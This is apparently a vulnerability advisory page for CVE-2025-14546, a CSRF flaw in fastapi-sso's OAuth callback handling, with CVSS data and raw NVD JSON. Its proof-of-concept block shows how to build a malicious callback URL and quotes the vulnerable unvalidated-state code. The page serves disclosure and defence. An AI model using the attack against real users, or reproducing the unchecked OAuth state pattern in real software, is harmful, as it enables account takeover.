Security Vulnerability Report
中文
CVE-2025-14546 CVSS 6.3 MEDIUM

CVE-2025-14546

Published: 2025-12-19 05:16:09
Last Modified: 2026-04-29 01:00:02

Description

Versions of the package fastapi-sso before 0.19.0 are vulnerable to Cross-site Request Forgery (CSRF) due to the improper validation of the OAuth state parameter during the authentication callback. While the get_login_url method allows for state generation, it does not persist the state or bind it to the user's session. Consequently, the verify_and_process method accepts the state received in the query parameters without verifying it against a trusted local value. This allows a remote attacker to trick a victim into visiting a malicious callback URL, which can result in the attacker's account being linked to the victim's internal account.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

fastapi-sso < 0.19.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Malicious OAuth Callback URL for CVE-2025-14546 # Attack Scenario: Link attacker's OAuth account to victim's internal account import urllib.parse # Step 1: Attacker initiates OAuth flow and captures the callback URL # The attacker would use their own OAuth account (e.g., [email protected]) # Step 2: Attacker constructs malicious callback URL # Original callback format: # https://victim-app.com/callback?state=RANDOM_STATE&code=AUTH_CODE # Attacker modifies and distributes this URL: malicious_state = "attacker_controlled_state_value" malicious_code = "attacker_oauth_authorization_code" victim_callback_base = "https://victim-app.com/callback" malicious_url = f"{victim_callback_base}?state={malicious_state}&code={malicious_code}" print(f"Malicious URL to send to victim: {malicious_url}") # Step 3: When victim clicks the link while logged in, # their account gets linked to attacker's OAuth account because: # - verify_and_process() accepts any state value # - No validation against server-side stored state # - Attacker's OAuth code is accepted as valid # The vulnerable code flow: """ # In fastapi-sso < 0.19.0: # 1. get_login_url (generates but doesn't store state): async def get_login_url(self, request: Request, redirect_uri: str) -> str: state = secrets.token_urlsafe(16) # State generated but NOT saved to session! params = {"state": state, ...} return self.provider.get_authorize_url(**params) # 2. verify_and_process (accepts any state without validation): async def verify_and_process(self, request: Request) -> User: code = request.query_params.get("code") state = request.query_params.get("state") # State taken directly from URL! # NO validation: if state in session matches this state user = await self.provider.get_user_from_token(code, redirect_uri) return user """

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14546", "sourceIdentifier": "[email protected]", "published": "2025-12-19T05:16:09.497", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Versions of the package fastapi-sso before 0.19.0 are vulnerable to Cross-site Request Forgery (CSRF) due to the improper validation of the OAuth state parameter during the authentication callback. While the get_login_url method allows for state generation, it does not persist the state or bind it to the user's session. Consequently, the verify_and_process method accepts the state received in the query parameters without verifying it against a trusted local value. This allows a remote attacker to trick a victim into visiting a malicious callback URL, which can result in the attacker's account being linked to the victim's internal account."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "references": [{"url": "https://github.com/tomasvotava/fastapi-sso/commit/6117d1a5ad498ba57d671e8a059ebe20db5abe02", "source": "[email protected]"}, {"url": "https://github.com/tomasvotava/fastapi-sso/issues/266", "source": "[email protected]"}, {"url": "https://security.snyk.io/vuln/SNYK-PYTHON-FASTAPISSO-14386403", "source": "[email protected]"}]}}